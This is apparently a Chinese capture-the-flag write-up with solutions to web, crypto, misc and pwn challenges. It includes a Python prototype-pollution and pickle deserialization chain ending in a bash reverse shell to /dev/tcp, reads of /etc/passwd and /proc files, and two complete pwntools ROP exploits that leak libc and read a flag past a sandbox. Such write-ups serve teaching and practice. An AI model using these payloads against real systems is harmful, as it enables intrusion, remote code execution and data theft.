Web

capoo (一血)

爽喽

image-20241019162216319

image-20241019151935942

f12发image-20241019152114885现读的图片,感觉应该能任意文件读取,读一下/etc/passwd

发现能读,再看一下环境变量/proc/1/environ,没有

再看一下/proc/1/cmdline,发现存在/bin/sh/docker-entrypoint.sh

image-20241019152243867

再尝试一下start.sh

image-20241019152349796

找到flag名称,直接读就能出flag

ez_picker

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from sanic import Sanic
from sanic.response import json, file as file_, text, redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins

app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])


class User:
def __init__(self, username, password):
self.username = username
self.password = password


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result = jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"] != "admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)

return wrapper


@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)


@app.route('/upload', methods=["GET", "POST"])
@token_required
async def upload(request):
if request.method == "GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)


@app.route('/register', methods=['GET', 'POST'])
async def register(request):
if request.method == 'GET':
return await file_('templates/register.html')
if request.json:
NewUser = User("username", "password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!", "redirect": "/login"})


@app.route('/login', methods=['GET', 'POST'])
async def login(request):
if request.method == 'GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data = {"user": username, "role": "guest"}
data['exp'] = int(time.time()) + 60 * 5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"] = token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

题目给了源码,

  • 存在merge,并且User类有__init__,一眼原型链污染,可以污染到global全局变量
  • 存在RestrictedUnpickler并重写了find_class,可以绕过来pickle反序列化

​ 所以这道题思路就是先利用原型链污染来污染secret_key伪造admin,再污染safe_modulessafe_names来绕过RestrictedUnpickler限制即可.

源码中/register路由可以进行原型链污染

image-20241019162312868

/upload路由可以上传pkl文件来触发pickle反序列化.

所以直接先传

1
2
3
4
5
6
7
{
"__init__": {
"__globals__": {
"secret_key": "123456"
}
}
}

污染secret_key

image-20241019162519604

之后jwt伪造

image-20241019162618743

再污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"__init__" : {
"__globals__" : {
"safe_names" :["getattr","system","dict","globals"]
}
}
}

{
"__init__" : {
"__globals__" : {
"safe_modules" : "builtins"
}
}
}

之后根据博客里面绕过builtins的例子写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle


data='''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
tR.'''.encode()
with open('dddd.pkl', 'wb') as f:
f.write(data)
print(f"Type of 'data': {type(data)}")
print(f"Module of 'data': {data.__module__ if hasattr(data, '__module__') else 'N/A'}")

上传即可

PS:这shell弹的太慢了,我还以为环境死了差点关了…

image-20241019162930878

Crypto

xor

题目描述

1
2
mimic is a keyword.
0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914

直接给gpt,秒了

image-20241019163249407

image-20241019163313547

Misc

ezflag

解压压缩包有个流量包,拿工具跑出来一个压缩包

image-20241019163729644

解压后有个flag.zip,但是解压不出来,拿file看一下发现是一个png

image-20241019163915023

之后改一下后缀即可得到flag

image-20241019163906271

pwn

signin revenge

题目libc环境

那道题目的时候,发现题目是直接跑不起来的。开始以为是沙箱的问题,还是太菜了。其实更换题目libc环境的问题

这里跟换一下题目的libc环境,

1
2
patchelf --replace-needed  libc.so.6 ./libc.so.6 vuln
patchelf --set-interpreter ./ld-linux-x86-64.so.2 vuln

ldd vuln查看一下更换是否成功。

然后就可以正常运行了。

踩坑点:注意要把给定的libc文件进行授权。并且要在管理员模式下授权。

这里注意不换也行,正常打远程应该不影响做题,但是复现跑本地就会遇到麻烦了。但是如果是你是kali的话。把他俩放在同一文件下kali会自行匹配ld文件和libc文件

1
2
3
4
5
bbq@ubuntu:~/桌面/啊布拉布拉/11111$ ldd vuln
linux-vdso.so.1 (0x00007fff6fb85000)
./libc.so.6 (0x00007fce115dc000) //--------------------------------------------->>>ld文件
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fce117d0000)//------->>>libc文件
bbq@ubuntu:~/桌面/啊布拉布拉/11111$

先日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉/11111/2222$ checksec vuln
[*] '/home/bbq/桌面/啊布拉布拉/11111/2222/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
bbq@ubuntu:~/桌面/啊布拉布拉/11111/2222$

正常的NX和got表可写

丢进ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
sandbox();
puts("lets move and pwn!");
vuln();
return 0;
}


ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x130uLL);
}

进去可以明显的看见一个沙箱函数和我们所要纯在漏洞的read函数

简单看一下沙箱函数

这里我问了一下gpt,其实大概我的理解就是提醒我们使用ORW

ORW

首先通过open函数bss段上中写入b'./flag\x00\x00',并将b'./flag\x00\x00'作为open函数的参数,构造open(b'./flag\x00\x00')用来打开当前目录名为flag的文件,其中0表示只读方式打开。然后构造 read(3, name_addr, 0x50) 将 flag 内容写入到 name 的地址处,再通过构造 write(1, name_addr, 0x50) 将 flag 内容从 name 的地址处输出到终端。

寄存器的偏移查找

1
ROPgadget --binary ./libc.so.6 --only  'pop|ret'

ROP链就是一个正常的泄露libc基址链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*


context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./vuln')
#p=remote("pwn-d929761f60.challenge.xctf.org.cn", 9999, ssl=True)
p = process('./vuln')

rdi=0x0000000000401393
p.recvuntil("lets move and pwn!")
payload=b'a'*(0x100+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4012F0)
#bug()
p.send(payload)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))

rdi = libc_base+0x0000000000023b6a
rsi = libc_base+0x000000000002601f
rdx = libc_base+0x0000000000142c92
rdx_r12=libc_base+0x0000000000119211
rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x000000000002284d
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
bss=0x404060+0x500



p.recvuntil("lets move and pwn!")
payload=b'a'*(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x4012EE)
#bug()
p.send(payload)
#pause()
orw = b'/flag\x00\x00\x00'
orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改
orw += p64(rsi) + p64(0)
orw += p64(open_)

orw += p64(rdi) + p64(3)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(write)

#pr(hex(len(orw)))
p.send(orw)

p.interactive()

signin

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉/11111$ checksec vuln
[*] '/home/bbq/桌面/啊布拉布拉/11111/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3f7000)
bbq@ubuntu:~/桌面/啊布拉布拉/11111$

两道题几乎一样,但是这道题多了几个绕过和伪随机数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import*
import ctypes


context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./vuln')
#p=remote("pwn-ecdfbe9bc0.challenge.xctf.org.cn", 9999, ssl=True)
p=process('./vuln')






def xun():

for i in range(100):
#print(payload)
p.recvuntil(b'Input the authentication code:')
#payload = str((elf1.rand()%100) + 1)
#p.send(payload)
p.send(p64(elf1.rand()%100+1))

# sleep(0.1)


rdi=0x0000000000401893
#gdb.attach(p)
#pause
p.send(b'1')
#sleep(0.5)
elf1=ctypes.CDLL("./libc.so.6")
#elf1=ctypes.LoadLibrary("./libc.so.6")
elf1.srand(elf1.time(0)) #与题目相同以时间为种子

xun()

p.sendafter(">> ",p32(1))
p.sendafter("Index: ",p32(1))
p.sendafter("Note: ",b'a')

payload=b'a'*(0x100+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000040177B)
#bug()
p.send(payload)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
#print(hex(libc_base))
print(hex(libc_base))



rdi = libc_base+0x0000000000023b6a
rsi = libc_base+0x000000000002601f
rdx = libc_base+0x0000000000142c92
rdx_r12=libc_base+0x0000000000119211
rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x000000000002284d
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
bss=0x404060+0x500


p.send(b'1')
#sleep(0.5)
elf1=ctypes.CDLL("./libc.so.6")
#elf1=ctypes.LoadLibrary("./libc.so.6")
elf1.srand(elf1.time(0)) #与题目相同以时间为种子

xun()

p.sendafter(">> ",p32(1))
p.sendafter("Index: ",p32(1))
p.sendafter("Note: ",b'a'*0x100)


#rl("lets move and pwn!")
payload=b'a'*(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x0004013EE)
#bug()
p.send(payload)
#pause()

orw = b'/flag\x00\x00\x00'
orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改
orw += p64(rsi) + p64(0)
orw += p64(open_)

orw += p64(rdi) + p64(3)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(write)

#print(hex(len(orw)))
print(hex(len(orw)))
p.send(orw)


p.interactive()